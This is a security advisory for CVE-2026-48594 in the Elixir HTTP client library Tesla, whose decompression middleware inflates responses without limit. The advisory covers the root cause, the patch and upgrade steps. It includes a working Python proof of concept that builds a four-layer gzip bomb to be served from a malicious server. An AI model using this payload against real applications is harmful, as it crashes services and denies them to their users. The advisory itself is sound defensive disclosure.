highCVE-2026-48594Jul 10, 2026

CVE-2026-48594: Tesla Middleware Decompression Bomb (DoS)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The Tesla HTTP client library for Elixir will blindly decompress any server response with no size limit, so an attacker who controls a server can crash or freeze any app that uses its decompression…

Packagetesla
Ecosystemerlang
Affected>= 0.6.0, < 1.18.3
Fixed in1.18.3

The problem

Any Tesla pipeline that includes Tesla.Middleware.DecompressResponse or Tesla.Middleware.Compression decompresses HTTP response bodies eagerly, with no cap on output size.

The decompress_body/2 function in lib/tesla/middleware/compression.ex passes the full body to :zlib.gunzip/1 or :zlib.unzip/1 directly. It also splits the content-encoding header on commas and recurses once per token, so stacking multiple encoding labels multiplies the amplification exponentially.

Any app talking to an attacker-controlled server, including one reached via a redirect, is exposed.

Proof of concept

A working proof-of-concept for CVE-2026-48594 in tesla, with the exact payload below.

python
# Build a 4-layer gzip bomb: ~284 bytes on the wire, ~1 GB after decompression.
# The server returns this body with: content-encoding: gzip, gzip, gzip, gzip

import gzip

# Innermost payload: 1 MB of zeros (compresses to ~1 KB with gzip)
data = b"\x00" * 1_000_000

# Wrap in 4 successive gzip layers
for _ in range(4):
    data = gzip.compress(data)

# Write the final ~284-byte wire payload
with open("bomb.gz", "wb") as f:
    f.write(data)

print(f"Wire size: {len(data)} bytes")

# Serve this file from a malicious HTTP server with the header:
# Content-Encoding: gzip, gzip, gzip, gzip
# Tesla decompresses layer by layer, reaching ~1 GB in the calling process heap.

The root cause (CWE-409) is that decompress_body/2 called :zlib.gunzip/1 in a single blocking call with no output-size guard. Each gzip pass can expand input ~1000x, so four passes yield roughly 10^12 amplification at the theoretical limit. The advisory documents a concrete 284-byte wire payload expanding to ~1 GB after four layers.

The patch (commit 340f75b) replaced the single-shot :zlib.gunzip/1 calls with streaming incremental inflation that enforces a configurable :max_body_size ceiling. It also added a hard rejection of any response that advertises more than one content-encoding token, which closes the recursive-recursion vector entirely.

The fix

Upgrade to tesla >= 1.18.3. After upgrading, configure a safe :max_body_size limit in your middleware options, for example: {Tesla.Middleware.DecompressResponse, max_body_size: 10_000_000}. The patched version rejects responses with multiple content-encoding tokens and enforces the size cap during streaming inflation, so no single response can exhaust heap.

Reported by Peter Ullrich.

References: [1][2][3][4][5][6]

Related research